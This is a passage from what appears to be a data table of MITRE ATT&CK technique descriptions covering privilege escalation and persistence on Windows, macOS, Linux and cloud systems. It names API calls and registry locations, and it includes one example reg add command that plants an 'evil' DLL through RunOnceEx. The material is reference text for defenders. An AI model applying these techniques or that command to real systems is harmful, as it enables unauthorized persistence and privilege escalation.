2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)\nT1134.001 | Token Impersonation/Theft | Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.\n\nAn adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.\n\nWhen an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one.\nT1098.001 | Additional Cloud Credentials | Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials tied to the permissions of the original user account. These credentials may remain valid for the duration of their lifetime even if the original account\u2019s API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation Persistence)\nT1134.003 | Make and Impersonate Token | Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one.\nT1546.003 | Windows Management Instrumentation Event Subscription | Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.\nT1134.004 | Parent PID Spoofing | Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)\nT1546.001 | Change Default File Association | Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command. For example: \n\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)\nT1055.014 | VDSO Hijacking | Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. \nT1546.014 | Emond | Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.\nT1574.010 | Services File Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\nT1547.001 | Registry Run Keys / Startup Folder | Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run automatically for the currently logged-on user.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.\nT1098 | Account Manipulation | Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).\nT1547.006 | Kernel Modules and Extensions | Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)\nT1574.013 | KernelCallbackTable | Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.\nT1053.006 | Systemd Timers | Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)\nT1574 | Hijack Execution Flow | Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.\nT1078 | Valid Accounts | Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)\nT1055.012 | Process Hollowing | Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. \nT1068 | Exploitation for Privilege Escalation | Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).\nT1546 | Event Triggered Execution | Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. \nT1546.004 | Unix Shell Configuration Modification | Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.\nT1134.005 | SID-History Injection | Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).\nT1548.004 | Elevated Execution with Prompt | Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)\nT1547.002 | Authentication Package | Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.\nT1546.015 | Component Object Model Hijacking | Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. \n\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. \nT1574.009 | Path Interception by Unquoted Path | Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\nT1037.005 | Startup Items | Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.\nT1078.002 | Domain Accounts | Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.\nT1037.003 | Network Logon Script | Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. \n \nAdversaries may use these 